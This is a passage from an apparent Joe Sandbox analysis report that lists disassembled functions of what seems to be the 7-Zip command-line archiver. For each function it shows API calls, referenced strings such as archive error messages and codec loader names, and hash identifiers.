Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction ID: 277791d04f92a6d600f9cb3abe25a5ecdb6d002aff7bc04c45267c46a43c0049
Opcode Fuzzy Hash: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction Fuzzy Hash: FF81873261C681C2DA24EF22E45176E6321FBC5784F445322FB9E876E5DF38E946EB40

Function 00C07EBC Relevance: 37.2, APIs: 18, Strings: 3, Instructions: 418
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00C0812F
free.MSVCRT ref: 00C0816A
free.MSVCRT ref: 00C0817F
free.MSVCRT ref: 00C08232

Part of subcall function 00C0ABB0: GetModuleHandleW.KERNEL32 ref: 00C0ABD1
Part of subcall function 00C0ABB0: GetProcAddress.KERNEL32 ref: 00C0ABE1
Part of subcall function 00C0ABB0: GetDiskFreeSpaceW.KERNEL32 ref: 00C0AC32

SetLastError.KERNEL32 ref: 00C0818F
free.MSVCRT ref: 00C0819B
free.MSVCRT ref: 00C081A6
free.MSVCRT ref: 00C081BB
free.MSVCRT ref: 00C08243
free.MSVCRT ref: 00C0824E
free.MSVCRT ref: 00C0815F

Part of subcall function 00C0339C: free.MSVCRT ref: 00C033D7
Part of subcall function 00C0339C: memmove.MSVCRT(00000000,?,?,00000000,00C010A8), ref: 00C033F2

Strings

\, xrefs: 00C07F44
:$DATA, xrefs: 00C08030, 00C08040
:, xrefs: 00C07F3A

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$AddressDiskErrorFreeHandleLastModuleProcSpacememmove
String ID: :$:$DATA$\
API String ID: 4130059181-1004618218
Opcode ID: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
Instruction ID: f10db61bd623b0ea576798eb39e3a502ec74fb19080a5764b6a53f97295a96b7
Opcode Fuzzy Hash: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
Instruction Fuzzy Hash: B002D233505690D6CB20DF29D4A025EB770F785790F40922AE7DE83BA9DF34D9A9CB44

Function 00C43E84 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00C43ED4

Part of subcall function 00C42E24: fputs.MSVCRT ref: 00C42E47
Part of subcall function 00C42E24: fputs.MSVCRT ref: 00C42E57

fputs.MSVCRT ref: 00C43F0F

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

free.MSVCRT ref: 00C43F4C
fputs.MSVCRT ref: 00C43FAA
fputs.MSVCRT ref: 00C43FBA
fputs.MSVCRT ref: 00C44003
fputs.MSVCRT ref: 00C44013
SysFreeString.OLEAUT32 ref: 00C440A1
fputs.MSVCRT ref: 00C440C9
SysFreeString.OLEAUT32 ref: 00C4418B
SysFreeString.OLEAUT32 ref: 00C441C2

Strings

----, xrefs: 00C440C2
--, xrefs: 00C43ECD
Path, xrefs: 00C43EE4
Warning: The archive is open with offset, xrefs: 00C43F08
= , xrefs: 00C43FB3, 00C4400C
Type, xrefs: 00C43F76

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$FreeString$fputcfree
String ID: = $--$----$Path$Type$Warning: The archive is open with offset
API String ID: 2701146716-1919703766
Opcode ID: 056823ced0437aa058963227a671e786ca22100c31a9c30bcc1abefe94dc5ebc
Instruction ID: e39fde78b8ee7dd17f2762e2b8fbf5ff346bcc54bc8bcd6db3ab69d299be3638
Opcode Fuzzy Hash: 056823ced0437aa058963227a671e786ca22100c31a9c30bcc1abefe94dc5ebc
Instruction Fuzzy Hash: 9A916B3A214E8582EB14DF22E964B6E7330F795BC4F505226EF5A87B28DF38D955C700

Function 00C0F71C Relevance: 30.0, APIs: 11, Strings: 6, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C01610: free.MSVCRT ref: 00C01682
Part of subcall function 00C01610: free.MSVCRT ref: 00C0168A
Part of subcall function 00C01610: free.MSVCRT ref: 00C016C4

_CxxThrowException.MSVCRT ref: 00C0F76E
_isatty.MSVCRT ref: 00C0F77E
_isatty.MSVCRT ref: 00C0F796
_isatty.MSVCRT ref: 00C0F7AE
_CxxThrowException.MSVCRT ref: 00C0F8E0
wcscmp.MSVCRT ref: 00C0F96F
_CxxThrowException.MSVCRT ref: 00C0F9AE
_CxxThrowException.MSVCRT ref: 00C0FA6F
GetCurrentProcess.KERNEL32 ref: 00C0FA77
SetProcessAffinityMask.KERNEL32 ref: 00C0FA83
free.MSVCRT ref: 00C0FA8F

Strings

Unsupported switch postfix for -slp, xrefs: 00C0F991
SeLockMemoryPrivilege, xrefs: 00C0F9CB
SeCreateSymbolicLinkPrivilege, xrefs: 00C0F92A
SeRestorePrivilege, xrefs: 00C0F91C
Unsupported switch postfix -bb, xrefs: 00C0F8C3
Unsupported switch postfix -stm, xrefs: 00C0FA52

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ExceptionThrowfree$_isatty$Process$AffinityCurrentMaskwcscmp
String ID: SeCreateSymbolicLinkPrivilege$SeLockMemoryPrivilege$SeRestorePrivilege$Unsupported switch postfix -bb$Unsupported switch postfix -stm$Unsupported switch postfix for -slp
API String ID: 1961088698-2328792591
Opcode ID: 9fbf6495933f589f3caaa937893ccbef6d2c554dfb66b53bc2ba33e20914ec5e
Instruction ID: ff7124642782f0a7681076f0b06e6418fd646646f5a52d29871fda2e0e658237
Opcode Fuzzy Hash: 9fbf6495933f589f3caaa937893ccbef6d2c554dfb66b53bc2ba33e20914ec5e
Instruction Fuzzy Hash: 60A18073608BC499EB21DF25E4903AC3B20F385B94F58817ADB9D47BA5CF24CA86C710

Function 00C4A448 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00C4A477

Part of subcall function 00C026A0: fputs.MSVCRT ref: 00C026C1

fputs.MSVCRT ref: 00C4A4C1
free.MSVCRT ref: 00C4A52B
free.MSVCRT ref: 00C4A533
free.MSVCRT ref: 00C4A545
free.MSVCRT ref: 00C4A57A
free.MSVCRT ref: 00C4A582
free.MSVCRT ref: 00C4A594
_CxxThrowException.MSVCRT ref: 00C4A5E1
free.MSVCRT ref: 00C4A5EF
free.MSVCRT ref: 00C4A61C
free.MSVCRT ref: 00C4A62E

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

Strings

Warnings: , xrefs: 00C4A470
Errors: , xrefs: 00C4A4BA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$fputs$ExceptionThrowfputc
String ID: Errors: $Warnings:
API String ID: 437615013-2345102087
Opcode ID: c17e1b3a36cdbbfd7996e98bb7f23ae8f9c07938e1b3301a2bd11b1a59f54ab7
Instruction ID: fb3f2f85163afb6733b246652e3a9c4e18b44696350ae3eac3b03c7e85c528bd
Opcode Fuzzy Hash: c17e1b3a36cdbbfd7996e98bb7f23ae8f9c07938e1b3301a2bd11b1a59f54ab7
Instruction Fuzzy Hash: 9251C862394AC081DA30EF25F9D53BDA361F782790F445212DEAD17BA9CF38C986D742

Function 00C283C8 Relevance: 27.2, APIs: 13, Strings: 5, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C08624: free.MSVCRT ref: 00C086A9

free.MSVCRT ref: 00C28493
free.MSVCRT ref: 00C284A7
free.MSVCRT ref: 00C284B8
free.MSVCRT ref: 00C28503
free.MSVCRT ref: 00C2850E

Part of subcall function 00C086DC: free.MSVCRT ref: 00C08761

free.MSVCRT ref: 00C2854D
free.MSVCRT ref: 00C28558
free.MSVCRT ref: 00C28590
free.MSVCRT ref: 00C2859B

Part of subcall function 00C28290: free.MSVCRT ref: 00C2832B
Part of subcall function 00C28290: free.MSVCRT ref: 00C28336

free.MSVCRT ref: 00C285D0
free.MSVCRT ref: 00C285DB
free.MSVCRT ref: 00C285EA
free.MSVCRT ref: 00C28602

Part of subcall function 00C03314: memmove.MSVCRT ref: 00C03339

Strings

Path, xrefs: 00C2856A, 00C285AA
Codecs, xrefs: 00C2841F
Formats, xrefs: 00C2844E
7z.dll, xrefs: 00C283F0
Path64, xrefs: 00C284D6, 00C28520

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID: 7z.dll$Codecs$Formats$Path$Path64
API String ID: 1534225298-3804457719
Opcode ID: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction ID: 9424bc8f9efca79d7f65d46548126f8a5623ba435b4146e9b5c0ba2a3b439a88
Opcode Fuzzy Hash: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction Fuzzy Hash: EE51B772205A5580DE20EF15E85179D6720E7C6BE4F942222BE5E47BF9CF38CA8BD740

Function 00C2AB74 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 268
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00C2ABC9
free.MSVCRT ref: 00C2ACF3
free.MSVCRT ref: 00C2ACFE
free.MSVCRT ref: 00C2AD95
memmove.MSVCRT(?), ref: 00C2ADCB
free.MSVCRT ref: 00C2AE70
free.MSVCRT ref: 00C2AF7F

Part of subcall function 00C294A8: free.MSVCRT ref: 00C294DB
Part of subcall function 00C294A8: free.MSVCRT ref: 00C294E3
Part of subcall function 00C294A8: free.MSVCRT ref: 00C294F0
Part of subcall function 00C294A8: free.MSVCRT ref: 00C2951C
Part of subcall function 00C294A8: free.MSVCRT ref: 00C29525
Part of subcall function 00C294A8: free.MSVCRT ref: 00C2952D
Part of subcall function 00C294A8: free.MSVCRT ref: 00C2953A

free.MSVCRT ref: 00C2AEC2

Part of subcall function 00C0339C: free.MSVCRT ref: 00C033D7
Part of subcall function 00C0339C: memmove.MSVCRT(00000000,?,?,00000000,00C010A8), ref: 00C033F2

Part of subcall function 00C2A9FC: free.MSVCRT ref: 00C2AA95
Part of subcall function 00C2A9FC: free.MSVCRT ref: 00C2AAC5
Part of subcall function 00C2A9FC: free.MSVCRT ref: 00C2AAD2

free.MSVCRT ref: 00C2AEFA
GetProcAddress.KERNEL32 ref: 00C2AF4D

Strings

Formats\, xrefs: 00C2AED1
Codecs\, xrefs: 00C2AE99
7z.dll, xrefs: 00C2AE3C, 00C2AE89
SetCodecs, xrefs: 00C2AF43

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove$AddressProc
String ID: 7z.dll$Codecs\$Formats\$SetCodecs
API String ID: 4053071709-2499791885
Opcode ID: 9289078346de572c99ec9685dbc78485ff94832fd4c5465191724674782d05d5
Instruction ID: 1c875dd747b84906febdcc787945a22b86bdf4e55df7b2d34139940ca7e43e87
Opcode Fuzzy Hash: 9289078346de572c99ec9685dbc78485ff94832fd4c5465191724674782d05d5
Instruction Fuzzy Hash: 29B18D76204AE097CB20EB21F9903AEB760F385788F504212EB9A47F65DF7CC969D741

Function 00C41850 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00C41877
fputs.MSVCRT ref: 00C4190A
LeaveCriticalSection.KERNEL32 ref: 00C41A44

Part of subcall function 00C4B1C8: memset.MSVCRT ref: 00C4B20D
Part of subcall function 00C4B1C8: fputs.MSVCRT ref: 00C4B232

fputs.MSVCRT ref: 00C4194D

Part of subcall function 00C026A0: fputs.MSVCRT ref: 00C026C1

fputs.MSVCRT ref: 00C419CB
fputs.MSVCRT ref: 00C419EA
LeaveCriticalSection.KERNEL32 ref: 00C41A51

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

free.MSVCRT ref: 00C41A14

Strings

Sub items Errors: , xrefs: 00C41946
ERROR: , xrefs: 00C419C4
Can't allocate required memory!, xrefs: 00C419E3
Everything is Ok, xrefs: 00C41903
p, xrefs: 00C419A4

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$CriticalSection$Leave$Enterfputcfreememset
String ID: Can't allocate required memory!$ERROR: $Everything is Ok$Sub items Errors: $p
API String ID: 676172275-580504279
Opcode ID: 1063b9a5055dd18bc7b63b119edf035ddb523fc5d3a33ba310829bff8c9b94f0
Instruction ID: e7da8ea08766c079b33a950f0198da25306febad13c897bc5c2f1e25e5c18ea3
Opcode Fuzzy Hash: 1063b9a5055dd18bc7b63b119edf035ddb523fc5d3a33ba310829bff8c9b94f0
Instruction Fuzzy Hash: FA518232305A81A2EB1DDF26D9A47AD6320F794B50F485226DFAE077A0CF38D9E5D300

Function 00C238E8 Relevance: 22.8, APIs: 13, Strings: 2, Instructions: 262
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C2373C: free.MSVCRT ref: 00C237FB

memmove.MSVCRT ref: 00C2396F
free.MSVCRT ref: 00C23986
free.MSVCRT ref: 00C23A11
_CxxThrowException.MSVCRT ref: 00C23A5F
free.MSVCRT ref: 00C23AD3

Part of subcall function 00C23864: free.MSVCRT ref: 00C23877
Part of subcall function 00C23864: free.MSVCRT ref: 00C23892
Part of subcall function 00C23864: free.MSVCRT ref: 00C2389B
Part of subcall function 00C23864: free.MSVCRT ref: 00C238C6
Part of subcall function 00C23864: free.MSVCRT ref: 00C238CE

Strings

Duplicate archive path:, xrefs: 00C23C07
Cannot find archive, xrefs: 00C23A42

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmemmove
String ID: Cannot find archive$Duplicate archive path:
API String ID: 3934437811-2067063536
Opcode ID: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
Instruction ID: 0b3609bbf9a104c2aae2eea981a3ea5bf79b27a8747d892c23c419b68fa02e1f
Opcode Fuzzy Hash: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
Instruction Fuzzy Hash: D8A15072315BD482CA20EB16E89065EB3A1F785B80F445512EF9E07B69DF3CCA46DB40

Function 00C342A2 Relevance: 21.3, APIs: 13, Strings: 1, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.MSVCRT ref: 00C34324
free.MSVCRT ref: 00C3441A
free.MSVCRT ref: 00C34425

Strings

, xrefs: 00C34466

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-3916222277
Opcode ID: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
Instruction ID: 2fedac5c3763a4830ca891b82444df96d413e8dc207775641cd8da81ee57aef2
Opcode Fuzzy Hash: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
Instruction Fuzzy Hash: C3D14B33219BC486CA25DF65E0902AEBB60F7C6B84F445016EB8E47B69CF7CD948CB00

Function 00C291E0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00C29205
GetProcAddress.KERNEL32 ref: 00C29219
GetProcAddress.KERNEL32 ref: 00C2922D
GetProcAddress.KERNEL32 ref: 00C29257
memmove.MSVCRT ref: 00C292F0
GetProcAddress.KERNEL32 ref: 00C2931C

Strings

GetMethodProperty, xrefs: 00C29222
CreateDecoder, xrefs: 00C291FB
GetNumberOfMethods, xrefs: 00C29245
CreateEncoder, xrefs: 00C2920E
GetHashers, xrefs: 00C29315

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: AddressProc$memmove
String ID: CreateDecoder$CreateEncoder$GetHashers$GetMethodProperty$GetNumberOfMethods
API String ID: 2879976980-73314117
Opcode ID: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction ID: 572cc1b1d3bb2f516d63d3f495be2402cf059fddaf19d1cd705e54f61b0c7c4e
Opcode Fuzzy Hash: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction Fuzzy Hash: 4A415B76215A51C6EB30DF25F89079DB3A1F788784F401626EB9E83B64DF78D949CB00

Function 00C41BC0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 250COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C41CF9

Part of subcall function 00C4B1C8: memset.MSVCRT ref: 00C4B20D
Part of subcall function 00C4B1C8: fputs.MSVCRT ref: 00C4B232

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

fputs.MSVCRT ref: 00C41DEE
fputs.MSVCRT ref: 00C41F07
fputs.MSVCRT ref: 00C41F5C

Part of subcall function 00C4171C: fputs.MSVCRT ref: 00C41744
Part of subcall function 00C4171C: fputs.MSVCRT ref: 00C41758
Part of subcall function 00C4171C: free.MSVCRT ref: 00C4176B

Part of subcall function 00C06618: FormatMessageW.KERNEL32 ref: 00C06676
Part of subcall function 00C06618: LocalFree.KERNEL32 ref: 00C06698

Part of subcall function 00C02320: free.MSVCRT ref: 00C0237E
Part of subcall function 00C02320: fputs.MSVCRT ref: 00C023B8
Part of subcall function 00C02320: free.MSVCRT ref: 00C023C4

free.MSVCRT ref: 00C41F86

Strings

Can't allocate required memory, xrefs: 00C41F55
ERROR: , xrefs: 00C41F00
WARNINGS:, xrefs: 00C41DB4, 00C41DE7
ERRORS:, xrefs: 00C41CBF, 00C41CF2

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$free$FormatFreeLocalMessagefputcmemset
String ID: Can't allocate required memory$ERROR: $ERRORS:$WARNINGS:
API String ID: 2553544393-24972044
Opcode ID: c8fab687c64268b82cb3662449b661246a7da8ff8f53bbd6509775a5cb297495
Instruction ID: daed5f6cbbc19ed0e9a369d2c3f7cd536ded257de16fed167253ce14bfe41bb4
Opcode Fuzzy Hash: c8fab687c64268b82cb3662449b661246a7da8ff8f53bbd6509775a5cb297495
Instruction Fuzzy Hash: CDA17F76700AC4AADA2DEF72D9943ADB720F744B80F484126DFAE07651DF68E9E5D300

Function 00C4949B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C494EE
_CxxThrowException.MSVCRT ref: 00C4A5E1
free.MSVCRT ref: 00C4A5EF
free.MSVCRT ref: 00C4A61C
free.MSVCRT ref: 00C4A62E
free.MSVCRT ref: 00C4A696
free.MSVCRT ref: 00C4A69E
free.MSVCRT ref: 00C4A6B0

Strings

Decoding ERROR, xrefs: 00C494E7

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs
String ID: Decoding ERROR
API String ID: 117389134-2585761706
Opcode ID: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction ID: 8951aad5dc5fd647a9216ebd9ec60e891cc0881f8ec95b79f7341f036e8df319
Opcode Fuzzy Hash: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction Fuzzy Hash: AE31E162395AC081DA30EF25E9807AEA361F786790F445622DBAE47768DF38C985CB41

Function 00C2A7FC Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 123libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00C06464: FreeLibrary.KERNELBASE(?,?,?,00C064E7), ref: 00C06475

Part of subcall function 00C03404: free.MSVCRT ref: 00C03431
Part of subcall function 00C03404: memmove.MSVCRT ref: 00C0344C

GetProcAddress.KERNEL32 ref: 00C2A8CA
GetProcAddress.KERNEL32 ref: 00C2A8E8
GetProcAddress.KERNEL32 ref: 00C2A908
free.MSVCRT ref: 00C2A985
free.MSVCRT ref: 00C2A996

Strings

SetLargePageMode, xrefs: 00C2A8BF
CreateObject, xrefs: 00C2A8FD
SetCaseSensitive, xrefs: 00C2A8DD

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: AddressProcfree$FreeLibrarymemmove
String ID: CreateObject$SetCaseSensitive$SetLargePageMode
API String ID: 852969883-606380122
Opcode ID: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction ID: e340fb78c39b9fdbf2cb4a36f84aaa1175fc9705c5bfbe55b14be0216c9b1e35
Opcode Fuzzy Hash: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction Fuzzy Hash: 06419336200B9087EF21EF26F85075E6360FB85B94F488525DF9A47BA5EF38D986C341

Function 00C4B480 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 229stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00C4B723
fputs.MSVCRT ref: 00C4B743

Part of subcall function 00C038C8: memmove.MSVCRT(00C0A0E5), ref: 00C03907

Part of subcall function 00C03A64: memmove.MSVCRT ref: 00C03AAA

GetTickCount.KERNEL32 ref: 00C4B49E

Part of subcall function 00C03404: free.MSVCRT ref: 00C03431
Part of subcall function 00C03404: memmove.MSVCRT ref: 00C0344C

strcmp.MSVCRT ref: 00C4B4E3
wcscmp.MSVCRT ref: 00C4B502
strcmp.MSVCRT ref: 00C4B568

Strings

